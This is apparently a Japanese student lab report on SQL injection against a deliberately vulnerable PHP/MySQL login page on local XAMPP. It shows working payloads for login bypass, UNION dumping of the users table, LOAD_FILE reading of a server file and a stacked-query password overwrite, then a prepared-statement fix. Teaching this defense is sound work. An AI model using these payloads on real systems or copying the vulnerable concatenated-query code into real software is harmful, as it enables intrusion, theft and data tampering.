概要
今回の実験レポートは、「SQLインジェクション(SQLi)」の脆弱性に関する実証と対策の検証です。
ローカル環境(Windows上のXAMPP)に意図的に脆弱なWebアプリケーション(PHP/MySQL)を構築し、SQLインジェクション攻撃をシミュレートします。
最後に、これらの攻撃がなぜ成立したのか、そして根本的な対策(プレースホルダ)について考察します。
実験内容
実験は以下のステップで行います。
- 1. 認証回避:SQLの論理を操作し、パスワードなしでログインします。
- 2. 情報取得:`UNION` 演算子を悪用し、データベース内の全情報を盗み出します。
- 3. ファイル表示:`LOAD_FILE()` 関数を悪用し、サーバー上のローカルファイルを読み取ります。
- 4. データベース改ざん:スタッククエリを悪用し、データベースの値を不正に書き換えます。
1. 環境構築
- OS: Windows 11
- サーバー: XAMPP (Apache, MariaDB(MySQL))
- 脆弱なアプリケーション: 以下のPHPスクリプトを自作し、`test_db` データベースと `users` テーブルを準備しました。
# データベースへアクセス
PS C:\xampp\mysql\bin> .\mysql.exe -u root
# test_dbデータベースを作成
MariaDB [(none)]> CREATE DATABASE test_db;
# users テーブルを作成
MariaDB [(none)]> USE test_db;
MariaDB [test_db]> CREATE TABLE users ( -> id INT(11) NOT NULL AUTO_INCREMENT PRIMARY KEY, -> username VARCHAR(50) NOT NULL, -> password VARCHAR(50) NOT NULL -> );
# users テーブルの構造を確認
MariaDB [test_db]> DESC users;
# admin と user を登録
MariaDB [test_db]> INSERT INTO users (username, password) VALUES -> ('admin', 'password123'), -> ('user', 'pass');
# 登録内容の最終確認
MariaDB [test_db]> SELECT * FROM users;
+----+----------+-------------+
| id | username | password |
+----+----------+-------------+
| 1 | admin | password123 |
| 2 | user | pass |
+----+----------+-------------+
2. 実験1:認証回避
目的:パスワードを知らなくても、`WHERE` 句の論理を操作して常に「真」にすることで、ログイン認証を突破する。
使用ファイル
- `index.html` (ログインフォーム)
<!DOCTYPE html>
<html lang="ja">
<head>
<meta charset="UTF-8">
<title>ログインフォーム(脆弱な例)</title>
</head>
<body>
<h2>ログイン</h2>
<form action="spli1.php" method="POST">
<div>
<label for="username">ユーザー名:</label>
<input type="text" id="username" name="username">
</div>
<div>
<label for="password">パスワード:</label>
<input type="password" id="password" name="password">
</div>
<button type="submit">ログイン</button>
</form>
</body>
</html>
<?php
$servername = "localhost";
$username_db = "root";
$password_db = "";
$dbname = "test_db";
$user = $_POST['username'];
$pass = $_POST['password'];
$conn = new mysqli($servername, $username_db, $password_db, $dbname);
if ($conn->connect_error) {
die("接続失敗: " . $conn->connect_error);
}
$sql = "SELECT * FROM users WHERE username = '$user' AND password = '$pass'";
echo "<p>実行しようとしたクエリ:</p>";
echo "<code>$sql</code><hr>";
$result = $conn->query($sql);
if ($result && $result->num_rows > 0) {
echo "<h1>ログイン成功</h1>";
echo "<p>ようこそ、" . htmlspecialchars($user, ENT_QUOTES, 'UTF-8') . " さん</p>";
} else {
echo "<h1>ログイン失敗</h1>";
echo "<p>ユーザー名またはパスワードが間違っています。</p>";
}
$conn->close();
?>
実行ペイロード
ユーザー名とパスワード入力欄に以下の文字列を入力します。
ユーザー名:admin
パスワード:' OR '1'='1
実行されるSQL
PHPによって組み立てられた結果、SQLは以下のようになります。
SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1'='1'
結果と解説
MySQLは `AND` よりも `OR` の優先度が低いため、このSQLは `(username = 'admin' AND password = '')` OR `('1'='1')` と解釈されます。
前半が偽 (False) であっても、後半の `'1'='1'` が常に真 (True) であるため、`WHERE` 句全体が真となります。結果として、`spli1.php` の `$result->num_rows > 0` の条件を満たし、「ログイン成功」と表示されました。
3. 実験2:データベースの情報取得とファイル表示
目的:`UNION` 演算子と `LOAD_FILE()` 関数を使い、データベース内の情報やサーバー上のファイルを取得する。
使用ファイル
- `index.html`
<form> action="spli1.php" method="POST" <form> を <form> action="spli2.php" method="POST" <form> に変更
<?php
$servername = "localhost";
$username_db = "root";
$password_db = "";
$dbname = "test_db";
$user = $_POST['username'];
$pass = $_POST['password'];
$conn = new mysqli($servername, $username_db, $password_db, $dbname);
if ($conn->connect_error) {
die("接続失敗: " . $conn->connect_error);
}
$sql = "SELECT * FROM users WHERE username = '$user' AND password = '$pass'";
echo "<p>実行しようとしたクエリ:</p>";
echo "<code>" . htmlspecialchars($sql, ENT_QUOTES, 'UTF-8') . "</code><hr>";
$result = $conn->query($sql);
if ($result && $result->num_rows > 0) {
echo "<h1>ログイン成功</h1>";
echo "<p>--- データベースから取得した情報 ---</p>";
echo "<table border='1'>";
$fields = $result->fetch_fields();
echo "<tr>";
foreach ($fields as $field) {
echo "<th>" . htmlspecialchars($field->name) . "</th>";
}
echo "</tr>";
$result->data_seek(0);
while ($row = $result->fetch_assoc()) {
echo "<tr>";
foreach ($row as $data) {
echo "<td>" . htmlspecialchars($data, ENT_QUOTES, 'UTF-8') . "</td>";
}
echo "</tr>";
}
echo "</table>";
} else {
echo "<h1>ログイン失敗</h1>";
echo "<p>ユーザー名またはパスワードが間違っています。</p>";
}
$conn->close();
?>
※`spli2.php` は、`spli1.php` とは異なり、取得した結果をすべてテーブル形式で表示するように変更されています。
通常のログイン
ユーザー名とパスワード入力欄に以下の文字列を入力します。
ユーザー名:admin
パスワード:password123
実行結果
ログインが成功し、ログインしたadminに関する情報だけが表示されます。
実行ペイロード (情報取得)
ユーザー名とパスワード入力欄に以下の文字列を入力します。
ユーザー名:' UNION SELECT id, username, password FROM users #
パスワード:hoge (適当)
実行されるSQL
PHPによって組み立てられた結果、SQLは以下のようになります。
SELECT * FROM users WHERE username = '' UNION SELECT id, username, password FROM users #' AND password = 'a'
結果と解説
最初の `SELECT` 文は0件ですが、`UNION` によって追加された `SELECT ... FROM users` が実行されます。末尾の `#` (コメントアウト) が`AND password = 'a'` の構文エラーを防ぎます。結果、`users` テーブルの全内容(`admin` と `user` の両方)が画面に表示されました。
実行ペイロード (ファイル表示)
ユーザー名とパスワード入力欄に以下の文字列を入力します。
ユーザー名:' UNION SELECT 1, LOAD_FILE('C:/Windows/win.ini'), 3 #
パスワード:hoge (適当)
実行されるSQL
PHPによって組み立てられた結果、SQLは以下のようになります。
SELECT * FROM users WHERE username = '' UNION SELECT 1, LOAD_FILE('C:/Windows/win.ini'), 3 #' AND password = 'hoge'
結果と解説
`UNION` で結合する際、元のカラム数(3つ)と合わせるため、ダミーの `1` と `3` を入れています。`LOAD_FILE()` が `username` カラムの部分で実行され、サーバー(XAMPP実行環境)の `C:/Windows/win.ini` の内容が読み取られ、画面に表示されました。
4. 実験3:データベースの改ざん
目的:スタッククエリ(複数文の実行)を悪用し、データベースの値を不正に `UPDATE`(更新)する。
使用ファイル
- `index.html`
<form> action="spli2.php" method="POST" <form> を <form> action="spli3.php" method="POST" <form> に変更
<?php
$conn = new mysqli("localhost", "root", "", "test_db");
if ($conn->connect_error) {
die("接続失敗: " . $conn->connect_error);
}
$user = $_POST['username'];
$pass = $_POST['password'];
$sql = "SELECT * FROM users WHERE username = '$user' AND password = '$pass'";
echo "<code>" . htmlspecialchars($sql, ENT_QUOTES, 'UTF-8') . "</code><hr>";
if ($conn->multi_query($sql)) {
do {
if ($res = $conn->store_result()) {
$res->free();
}
} while ($conn->more_results() && $conn->next_result());
if ($conn->affected_rows > 0) {
echo "<p>ログインに成功しました</p>";
} else {
echo "<p>ログインに失敗しました</p>";
}
} else {
echo "<p style='color: red;'><b>クエリ失敗:</b> " . $conn->error . "</p>";
}
$conn->close();
?>
※`spli3.php` は、`query()` の代わりに、複数文の実行を許可する `multi_query()` を意図的に使用しています。
実行ペイロード
ユーザー名とパスワード入力欄に以下の文字列を入力します。
ユーザー名:' ; UPDATE users SET password = 'hacked' WHERE username = 'admin' #
パスワード:hoge (適当)
実行されるSQL
SELECT * FROM users WHERE username = '' ; UPDATE users SET password = 'hacked' WHERE username = 'admin' #' AND password = 'a'
結果と解説
`multi_query()` を使用したため、セミコロン(`;`)で区切られた2つのSQL文(`SELECT` と `UPDATE`)が連続して実行されました。`spli3.php` は `affected_rows`(影響を受けた行数) を見ており、`UPDATE` が成功して1行が影響を受けたため「ログイン成功」と表示されました。
実際にMySQLコンソールから `SELECT * FROM users;` を確認したところ、`admin` のパスワードが `hacked` に変更されていることを確認できました。
・改ざん前
・改ざん後
5. 対策と考察
対策の解説
これらの攻撃がすべて成功した根本的な原因は、「ユーザーの入力をSQL文の一部(文字列)として直接連結した」 ことにあります。
最も強力で根本的な対策は、「プレースホルダ」を用いた「プリペアドステートメント」を利用することです。
これは、SQL文の「命令(`SELECT`など)」と「値(`admin`など)」を分離してデータベースに送る仕組みです。
安全なコード (PHP / mysqli)
// 1. SQL文のテンプレート(値の部分を ? にする)
$sql = "SELECT * FROM users WHERE username = ? AND password = ?";
// 2. ステートメントを準備
$stmt = $conn->prepare($sql);
// 3. 値を「バインド」(型を指定して割り当て)
// "ss" は string, string の意味
$stmt->bind_param("ss", $user, $pass);
// 4. 実行
$stmt->execute();
// 5. 結果取得
$result = $stmt->get_result();
この方法を使えば、たとえユーザー名に `' OR '1'='1` と入力されても、それは「SQLの命令」とは解釈されず、単なる「`' OR '1'='1` という文字列のユーザー名」として扱われるため、すべてのSQLインジェクション攻撃は失敗します。
感想と考察
感想:
sqli.phpなどに含まれるわずか数行の脆弱なコードから、認証回避、情報漏洩、さらにはサーバーのファイル読み取りやデータ改ざんまで、これほど多様な攻撃に派生することに驚きました。特に、`query()`
では防がれていたスタッククエリが、`multi_query()` を使うだけで可能になってしまう など、使用する関数一つでセキュリティレベルが大きく変わることを実感しました。
考察 (セキュリティの観点から):
「ユーザーからの入力はすべて信頼しない(Untrusted)」というセキュリティの原則が、なぜ重要なのかを明確に理解できました。`htmlspecialchars()`
のようなXSS対策は行っていても、SQLインジェクションには無力であることも分かりました。
開発者は、自衛のために「プリペアドステートメント(プレースホルダ)を常に利用する」ことを習慣化し、フレームワークが提供するセキュリティ機能を正しく利用することが不可欠であると考えます。
コメント